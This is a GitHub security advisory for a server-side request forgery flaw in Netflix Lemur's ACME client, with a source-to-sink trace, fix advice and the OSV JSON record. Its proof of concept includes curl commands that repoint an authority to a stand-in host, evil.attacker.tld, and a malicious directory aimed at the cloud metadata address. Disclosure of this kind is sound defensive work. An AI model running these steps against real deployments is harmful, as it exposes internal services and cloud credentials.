GHSA-XPMJ-WJCP-6PWW
Vulnerability from github – Published: 2026-08-18 20:51 – Updated: 2026-08-18 20:51Summary
The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.
Detail
Defect A - allowlist only at creation.
_validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:
# lemur/authorities/views.py:417-424 (Authorities.put)
return service.update(
authority_id,
owner=data["owner"], description=data["description"],
active=data["active"], roles=data["roles"],
options=data.get("options") # <- acme_url lives here, NO re-validation
)
AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."
Defect B - ACME client follows server-supplied URLs.
setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:
1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs.
2. new_order() -> server returns finalize and authorizations URLs.
3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.
A malicious ACME server can return internal URLs for all of these.
Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.
Source-to-sink trace:
PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
-> service.update(options={"acme_url":"https://evil.attacker.tld/dir"}) <- no re-validation
… next certificate issuance against this authority …
setup_acme_client_no_retry reads acme_url=evil.attacker.tld
-> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
-> Lemur POSTs JWS-signed request to internal URL
Steps to Reproduce (POC)
Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:
# Minimal: a directory endpoint that points "newOrder" at an internal target
{
"newNonce": "https://evil.attacker.tld/nonce",
"newOrder": "http://169.254.169.254/latest/meta-data/", # <- internal
"revokeCert": "https://evil.attacker.tld/revoke",
"keyChange": "https://evil.attacker.tld/key"
}
Step 2 - Attacker (authority-role member) repoints an existing ACME authority:
curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
-H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
-d '{
"name":"letsencrypt",
"owner":"attacker@corp.com",
"description":"x","active":true,
"roles":[{"id":7,"name":"letsencrypt_operator"}],
"options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
}'
Step 3 - Issue a certificate against the repointed authority (via UI/API):
curl -k -X POST https://lemur.example.com/api/1/certificates \
-H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
-d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
"authority":{"name":"letsencrypt"},"validityYears":1}'
The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)
Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.
Impact
- JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
- Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.
Fix
- Re-run
_validate_acme_urlinsideauthorities/service.update/update_options, or makeacme_urlimmutable after authority creation. - In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured
acme_urlhostname.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.9.2"
},
"package": {
"ecosystem": "PyPI",
"name": "lemur"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-70666"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:51:07Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe ACME client (used to issue certificates from Let\u0027s Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/\u003cid\u003e`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority\u0027s role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.\n\n### Detail\n**Defect A - allowlist only at creation.**\n`_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim:\n```python\n# lemur/authorities/views.py:417-424 (Authorities.put)\nreturn service.update(\n authority_id,\n owner=data[\"owner\"], description=data[\"description\"],\n active=data[\"active\"], roles=data[\"roles\"],\n options=data.get(\"options\") # \u003c- acme_url lives here, NO re-validation\n)\n```\n`AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *\"existing authorities in the DB were already trusted when they were created and are not re-validated.\"*\n\n**Defect B - ACME client follows server-supplied URLs.**\n`setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client:\n1. `get_directory(acme_url)` -\u003e server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs.\n2. `new_order()` -\u003e server returns `finalize` and `authorizations` URLs.\n3. `poll()`, `finalize_order()`, cert download -\u003e all hit **server-chosen URLs**.\n\nA malicious ACME server can return internal URLs for all of these.\n\n**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority\u0027s role**, not a global admin. This is the standard role a certificate issuer holds.\n\n**Source-to-sink trace:**\n```\nPUT /api/1/authorities/\u003cid\u003e (AuthorityPermission = authority-role member)\n -\u003e service.update(options={\"acme_url\":\"https://evil.attacker.tld/dir\"}) \u003c- no re-validation\n\u2026 next certificate issuance against this authority \u2026\n setup_acme_client_no_retry reads acme_url=evil.attacker.tld\n -\u003e ACME client GET directory -\u003e attacker returns newOrder=http://169.254.169.254/...\n -\u003e Lemur POSTs JWS-signed request to internal URL\n```\n\n### Steps to Reproduce (POC)\n\n**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses:\n```python\n# Minimal: a directory endpoint that points \"newOrder\" at an internal target\n{\n \"newNonce\": \"https://evil.attacker.tld/nonce\",\n \"newOrder\": \"http://169.254.169.254/latest/meta-data/\", # \u003c- internal\n \"revokeCert\": \"https://evil.attacker.tld/revoke\",\n \"keyChange\": \"https://evil.attacker.tld/key\"\n}\n```\n\n**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:**\n```bash\ncurl -k -X PUT https://lemur.example.com/api/1/authorities/42 \\\n -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"name\":\"letsencrypt\",\n \"owner\":\"attacker@corp.com\",\n \"description\":\"x\",\"active\":true,\n \"roles\":[{\"id\":7,\"name\":\"letsencrypt_operator\"}],\n \"options\":\"[{\\\"name\\\":\\\"acme_url\\\",\\\"value\\\":\\\"https://evil.attacker.tld/dir\\\"},{\\\"name\\\":\\\"chain\\\",\\\"value\\\":\\\"\\\"}]\"\n }\u0027\n```\n\n**Step 3 - Issue a certificate against the repointed authority** (via UI/API):\n```bash\ncurl -k -X POST https://lemur.example.com/api/1/certificates \\\n -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"commonName\":\"demo.example.com\",\"owner\":\"attacker@corp.com\",\n \"authority\":{\"name\":\"letsencrypt\"},\"validityYears\":1}\u0027\n```\nThe Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)\n\n\u003e *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.\n\n### Impact\n- **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.\n- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.\n- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path.\n- **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.\n\n### Fix\n1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation.\n2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname \u2260 the configured `acme_url` hostname.",
"id": "GHSA-xpmj-wjcp-6pww",
"modified": "2026-08-18T20:51:07Z",
"published": "2026-08-18T20:51:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/security/advisories/GHSA-xpmj-wjcp-6pww"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/commit/6dcb19b6d6004e97796d6a0344b130b2ba57f050"
},
{
"type": "PACKAGE",
"url": "https://github.com/Netflix/lemur"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/releases/tag/v1.9.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.